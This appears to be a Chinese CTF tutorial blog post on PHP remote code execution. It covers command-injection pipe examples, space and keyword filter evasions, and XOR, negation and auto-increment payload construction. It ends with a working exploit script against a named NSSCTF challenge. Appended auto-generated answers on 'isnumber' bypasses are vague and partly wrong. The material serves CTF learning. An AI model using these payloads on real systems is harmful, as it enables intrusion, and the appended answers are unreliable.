RCE漏洞基础及CTF绕过

1.漏洞成因

可以对系统命令执行函数和调用代码函数传递的值进行控制。

2.系统执行命令函数

system()

exec()

exec会执行系统命令,保存回显最后一行而且单exec不输出结果

shell_exec()

不会输出结果,保存所有回显

passthru()

和system一样

popen()

函数用于执行外部命令,并打开一个管道连接,可以通过该管道连接与命令的输入或输出进行交互

popen("1","2”)

1处为要执行的命令2处选择r(read只读)w(只写)这里选择r会报错

3.代码执行函数

eval()

将字符串作为php代码执行里面可以跟上面可以在php中使用的系统执行命令

assert()

和eval相同

call_user_func()

回调函数,第一个参数为函数名,第二个参数为函数的参数

常用来调用存在漏洞利用的函数

call_user_func_array()

回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

4.其他利用的函数

var_dump()

用于输出信息常用exec配合

echo()

和var_dump作用相同

printf()

和var_dump作用相同

print_r()

其他可以自行查找

5.rce利用

管道符

在rce中可以会出现像是ping指令的题目就需要管道符

举例 题目是   ping 实例为我们输入的内容

          管道符                  实例        作用
                ;127.0.0.1;ls无论对错都执行
                |127.0.01|ls输出右边的结果
                ||111||ls左边为错时执行右边
                &127.0.0.1&ls无论对错都执行
                &&127.0.01&ls左边正确执行右边

空格代替

<
<>
%20
%09
%0a
$IFS
$IFS$9
${IFS}
()

cat替换命令

tac 与cat相反,按行反向输出
more 按页显示
less 与less类似
head 从文件首行查看
tail 从文件末尾查看
nl 与cat相同会显示行数
grep 直接查找文件中的关键字

inux特性绕过

\绕过

加\还是可以执行

""绕过

''绕过

取反绕过

 
<?php
$a = "ls /";
echo $a."\n";
$b = urlencode(~$a);
echo $b."\n";

?>

传入的值为(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

异或绕过

异或(XOR)是一种逻辑运算,它的原理如下:

符号表示: 异或运算用符号 ^ 表示。

定义: 对于两个二进制位,如果相应位相同则结果为 0,如果相应位不同则结果为 1。

下面是异或运算的真值表:

ABA XOR B
000
011
101
110

对于整个二进制数,异或运算会对每一位进行独立的操作。

异或的性质:

  1. 交换律: A XOR B 等于 B XOR A
  2. 结合律: (A XOR B) XOR C 等于 A XOR (B XOR C)
  3. 自反性: A XOR A 等于 0
  4. 零元素: A XOR 0 等于 A
a = 5
b = 3

a = a ^ b
b = a ^ b
a = a ^ b

print("a =", a)  # 输出 3
print("b =", b)  # 输出 5

异或脚本

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

传入的值

$a ='393482'^ '@@@@]_';
$b = '13'^']@';
$c = "$a('$b')";

自增绕过

在编程中,自增操作是指将一个变量的值增加1

$number = 10;
$number++;  // 自增操作
echo $number;  // 输出 11

自增操作也可以应用于字母

$letter = 'a';
$letter++;  // 自增操作
echo $letter;  // 输出 'b'
 

在构造无数字字母rce中使用自增可以通过字符串强制拼接数组得到字符型的Array

然后我们要截取第一个字符A可以通过构造[0]

这里通过没有定义的变量$__ $__现在是false(0)

<?php
$_ = ''.[]; #Array
$___ = $_[$__];  #A
$_ = $___;    #A
$__ = $___;   #A

?>

通过自增使$_为S

将$_再次赋值为A构造其他字符

assert构造完成构造post

<?php
$_ = ''.[];
$___ = $_[$__];
$_ = $___;
$__ = $___;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= "$";
$____ .= "_";
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
echo ($___."($____ [_])");



preg_match绕过

php使用的PCRE库使用了NFA作为正则引擎

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,回溯次数上限默认是100万

以[NISACTF 2022]middlerce为列

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>
import requests
url='http://node4.anna.nssctf.cn:28170/'
payload = '{"cmd":"?><?=`tail /f*`?>","zx":"' + "-" * 1000000 + '"}'
res = requests.post(url,data={"letter":payload})
print(res.text)

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: CTF是一个信息安全技术比赛,其中的isnumber题目涉及到绕过数字识别的方法。 首先,我们需要了解isnumber的原理。isnumber是用于判断一个输入是否为数字的函数。通常情况下,isnumber函数会根据输入的特征,如字符长度、字符类型等,来判断输入是否为数字。在绕过isnumber时,我们需要找到一种方式,使得输入被isnumber认为是数字,即使它实际上不是。 一种绕过isnumber的方法是通过输入一个字符转义序列。字符转义序列允许我们在输入中使用特定的字符,这些字符会被解析为其他含义。例如,我们可以使用转义序列"\x"来表示一个十六进制字符。通过构造一个特定的输入,我们可以使得isnumber函数无法正确判断这个输入是否为数字。 另一种绕过isnumber的方法是利用类型转换漏洞。isnumber函数可能会使用一些类型转换操作,如将输入的字符串转换为整数或浮点数。但是,如果我们输入的字符串不符合转换的规范,就有可能绕过isnumber的判断。我们可以尝试构造一些特殊的字符串,使得类型转换操作无法正确转换,从而绕过isnumber的判断。 总之,绕过isnumber需要具体情况具体分析。我们可以通过寻找字符转义序列或利用类型转换漏洞等方法,来构造一个满足题目要求的输入,使得isnumber函数无法正确判断输入是否为数字。在CTF比赛中,解决这样的题目需要结合对isnumber函数和相关技术的理解,以及对不同绕过方法的掌握。 ### 回答2: CTF(Capture the Flag)是一种网络安全竞赛,参与者需要通过解决一系列的题目来获取旗帜(flag)并获得分数。"isnumber"是一种常见的CTF题目类型,要求参与者绕过一个检测输入是否为数字的判断。 要绕过"isnumber"的检测,首先需要了解其判断的原理。通常,isnumber会对输入的数据进行一系列的校验,以确保其符合数字的特征。一种常见的校验方法是使用正则表达式来匹配数字的模式。因此,可以猜测"isnumber"可能会使用类似于"\d+"这样的正则表达式来判断输入是否为数字。 为了绕过这种检测,可以利用正则表达式的特性进行欺骗。例如,可以使用"0.0"作为输入,因为它在字符串的形式下不是一个有效的数字,但是正则表达式对于小数点之前的数字和小数点之后的数字都不会做校验。因此,这种输入可以绕过判断。 另一个方法是利用编码转换。数字在不同的编码方式下会有不同的表示形式,可以尝试使用编码转换函数来混淆输入数据。例如,在ASCII编码中,数字"0"对应的十进制值为48,在Unicode编码中,数字"0"对应的十进制值为48。因此,可以试图将输入数据从ASCII编码转换为Unicode编码,这样就可以绕过判断。 总之,要绕过"isnumber"的检测,可以尝试使用特殊字符、不符合数字特征的输入数据,或者利用编码转换等方法来欺骗判断函数。这些方法都需要对"isnumber"的实现方式有一定的了解,以便选择合适的绕过方法。 ### 回答3: CTF(Capture The Flag)是一种网络安全竞赛,参赛者需要解决一系列安全问题并获取旗帜(flag)作为证明。IsNumber是一道CTF中常见的题目,需要绕过其校验逻辑判断是否为数字。 首先,我们需要了解IsNumber的校验逻辑。在一般情况下,IsNumber函数会接收一个输入,然后通过内部的校验方法判断是否为数字。我们可以尝试绕过这个校验方法来绕过IsNumber题目。 一种常见的绕过方法是通过字符特性来绕过。我们可以利用ASCII码来传递不可见的字符。以Python为例,我们可以使用"\x00"来表示空字符,并将其插入输入,这样在校验过程中空字符会被认为是宽字符机制中的字符串结束标志,从而绕过校验。 另外,我们还可以尝试通过输入中的特殊字符来绕过校验逻辑。例如,某些校验逻辑只判断输入中是否含有除数字之外的字符,如果我们输入的内容中带有特殊字符,可能就能绕过校验而被判断为数字。 此外,我们还可以尝试绕过从键盘读取输入的方法。一些CTF题目为了防止通过键盘输入绕过,可能会使用特殊的输入方式,如从文件或网络中读取输入。我们可以尝试绕过这种限制,通过提供恰当的输入来源来绕过IsNumber题目的校验。 总之,绕过CTF中的IsNumber题目需要根据具体情况寻找相应的漏洞或特性,通过巧妙的输入,绕过校验逻辑,判断输入为数字,从而达到绕过的目的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值